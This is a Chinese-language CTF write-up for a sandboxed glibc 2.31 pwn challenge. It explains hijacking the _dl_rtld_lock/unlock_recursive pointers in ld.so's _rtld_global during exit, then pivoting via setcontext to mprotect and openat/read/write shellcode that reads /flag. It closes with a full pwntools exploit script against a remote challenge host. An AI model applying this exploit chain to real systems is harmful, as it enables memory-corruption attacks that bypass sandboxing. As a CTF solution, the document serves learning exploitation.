赛时 1 解找不到 WP, 调了一万年
glibc 2.31, 保护全开. 程序非常简单, 开了个沙箱禁用了 open, execve, execveat, fork, vfork, prctl, ptrace. 给了 libc 地址, 然后能任意写 0x10.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
void __noreturn vuln()
{
void *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 canary; // [rsp+8h] [rbp-8h]
canary = __readfsqword(0x28u);
buf = 0LL;
puts("This time you need to orw.");
printf("Here is your gift: %p\nGood luck!\n", &puts);
printf("Addr: ");
read(0, &buf, 8uLL);
printf("Data: ");
read(0, buf, 0x10uLL);
puts("Did you get that?");
exit(0);
}
|
一眼打 exit.
一开始想构造多次任意写, 但是并不知道程序基地址, 即使能够泄漏出来, 也没有继续写的机会了.
能写 0x10, 说明其实最多可以写两个 hook.
exit 会调用 ld.so 中的 _dl_fini
函数, 这个函数中调用了两个函数指针 _dl_rtld_lock_recursive
和 _dl_rtld_unlock_recursive
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#define GL(name) _rtld_global._##name
#define __rtld_lock_lock_recursive(NAME) GL(dl_rtld_lock_recursive) (&(NAME).mutex)
#define __rtld_lock_unlock_recursive(NAME) GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
void
_dl_fini (void)
{
...
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
__rtld_lock_lock_recursive (GL(dl_load_lock)); // 调用 __rtld_lock_lock_recursive
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
if (nloaded == 0
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
__rtld_lock_unlock_recursive (GL(dl_load_lock)); // 调用 __rtld_lock_lock_recursive
...
}
|
这俩函数指针在 _rtld_global
结构体中, 并且连在一起. 通过宏可以看到, 这两个函数其实都有一个参数 _rtld_global._dl_load_lock.mutex
, 这个参数也在 _rtld_global
上. _rtld_global
在 ld.so 的 .bss 上.
1
2
3
4
5
6
7
8
9
10
11
|
#define __rtld_lock_define_recursive(CLASS,NAME) \
CLASS __rtld_lock_recursive_t NAME;
struct rtld_global
{
__rtld_lock_define_recursive (EXTERN, _dl_load_lock)
...;
EXTERN void (*_dl_rtld_lock_recursive) (void *);
EXTERN void (*_dl_rtld_unlock_recursive) (void *);
...;
}
|
可以看到这两函数是获取和释放一个互斥锁. 那么这俩函数一定会被先后调用. 考虑把 _dl_rtld_lock_recursive
改成 gets 函数, 把 _dl_rtld_unlock_recursive
改成 system 函数, 然后 gets 输入 /bin/sh\0
, 之后就可以 system("/bin/sh") get shell 了.
这题由于开了沙箱, 则需要更复杂一点的做法. 没有禁用 openat, 仍然可以 orw. 考虑将 _dl_rtld_unlock_recursive
改成 setcontext, 那么之前的 gets 往参数 (_rtld_global._dl_load_lock.mutex
) 上写 frame 和 rop chain, 理论上来说就可以了.
但是, 用最简单的方法直接写 frame 的时候, 在 assert (ns != LM_ID_BASE || i == nloaded);
一句 assert 没过. 简单调了几个偏移, 过了以后但是在某个地方又访问非法内存了.
回顾一下源码, 首先这个 if 是进不去的, 调试发现 nloaded 是 4, 所以调用 __rtld_lock_unlock_recursive
应该是后面的那个.
1
2
3
4
|
if (nloaded == 0
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
|
else 中, 先处理了一下 maps, 并且 assert 了 i. 可以看到, 仅当 l == l->l_real
成立时, i 才会增加.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
|
于是猜想是破坏了 _rtld_global
的某些指针结构, 导致这里 assert 住了, 或者访问到了非法内存.
不过由于水平有限, 并没有找到这个 map 在哪 (I good vegetable a)
自己莽出来的方法是, 尽可能少破坏结构, gets 读入和原来一样的值, 把 frame 往后推 (貌似是 mutex + 0x80 到 mutex + 0x100 之间的某些值不能被破坏). 这里找了一个 mutex + 0x130 的地方作为 frame 的开始, 前面仅破坏 mutex + 8 用于 mov rdx, [rip + 8]
这个 gadget 进行跳转.
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
|
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
procname = './pwn'
libcname = './libc-2.31.so'
ldname = './ld-2.31.so'
# io = process(procname, stdin=PTY)
io = remote('node4.buuoj.cn', 27580)
elf = ELF(procname)
libc = ELF(libcname)
ld = ELF(ldname)
n2b = lambda x : str(x).encode()
sa = lambda p, s : io.sendafter(p, s)
sla = lambda p, s : io.sendlineafter(p, s)
sna = lambda p, n : sla(p, n2b(n))
itr = lambda : io.interactive()
def leakaddr(pre = None, suf = None, bit = 64, keepends = True, off = 0):
u = {64: u64, 32: u32}
num = 6 if bit == 64 else 4
if pre is not None:
io.recvuntil(pre)
if suf is not None:
r = io.recvuntil(suf)
if not keepends:
r = r[:-1]
r = r[-num:]
else:
r = io.recv(num)
return u[bit](r.ljust(bit//8, b'\0')) - off
io.recvuntil(b'gift: ')
libc.address = int(io.recv(14), 16) - libc.sym.puts
ld.address += libc.address + 0x1F4000
success(f'leak libc.address: {hex(libc.address)}')
success(f'leak ld.address: {hex(ld.address)}')
_rtld_global = ld.sym._rtld_global
_dl_load_lock_mutex = _rtld_global + 0x908
_dl_rtld_lock_recursive = _rtld_global + 0xf08
_dl_rtld_unlock_recursive = _dl_rtld_lock_recursive + 8
mov_rdx_rdi_8_call_rdx_20 = libc.address + 0x151990
frame_addr = _dl_load_lock_mutex + 0x130
fake_rsp = _dl_load_lock_mutex + 0x1e0
code_start = _dl_load_lock_mutex + 0x1e8
rip = libc.sym.mprotect
rdi = _dl_load_lock_mutex >> 12 << 12
rsi = 0x1000
rdx = 7
rsp = fake_rsp
sa(b'Addr: ', p64(_dl_rtld_lock_recursive))
sa(b'Data: ', p64(libc.sym.gets) + p64(mov_rdx_rdi_8_call_rdx_20))
shellcode = 'sub rsp, 0x500' + shellcraft.openat(0, '/flag', 0)
shellcode += shellcraft.openat(0, '/flag', 0)
shellcode += shellcraft.read(3, _dl_load_lock_mutex, 0x50)
shellcode += shellcraft.write(2, _dl_load_lock_mutex, 0x50)
payload = flat([
p64(0), p64(frame_addr),
p64(1), p64(0),
p64(0), p64(0),
p64(0), p64(1),
p64(0) * 2,
p64(4), p64(0),
p64(0), p64(63),
p64(3), p64(ld.address + 0x2FEC0),
p64(ld.address), p64(0xdeadbeef),
p64(ld.address + 0x2DE68), p64(0),
p64(ld.address - 0x2000), p64(ld.address + 0x2E9E8),
p64(0), p64(ld.address + 0x2F050),
p64(0) * 2,
p64(ld.address + 0x2DEE8), p64(ld.address + 0x2DED8),
p64(ld.address + 0x2DE78), p64(ld.address + 0x2DE98),
p64(ld.address + 0x2DEA8), p64(ld.address + 0x2DF18),
p64(ld.address + 0x2DF28), p64(ld.address + 0x2DF38),
p64(ld.address + 0x2DEB8), p64(ld.address + 0x2DEC8),
p64(0) * 2,
p64(ld.address + 0x2DE68), p64(0),
p64(0) * 2,
p64(libc.sym.setcontext + 0x3d), p64(0),
p64(ld.address + 0x2DEF8), p64(0),
p64(0), p64(ld.address + 0x2DF08),
p64(0) * 2,
p64(0), p64(rdi),
p64(rsi), p64(0),
p64(0), p64(rdx),
p64(0) * 2,
p64(rsp), p64(rip),
p64(code_start),
asm(shellcode),
])
sla(b'Did you get that?\n', payload)
itr()
|
UPD: 非常暴力地调了一下, 发现 mutex + 0x98 和 mutex + 0xa8 这个两位置不被破坏就行, 其他随意. 在 glibc 2.31 ubuntu 9.9 版本下, mutex + 0x98 = 0, mutex + 0xa8 = ld.address + 0x2E9E8.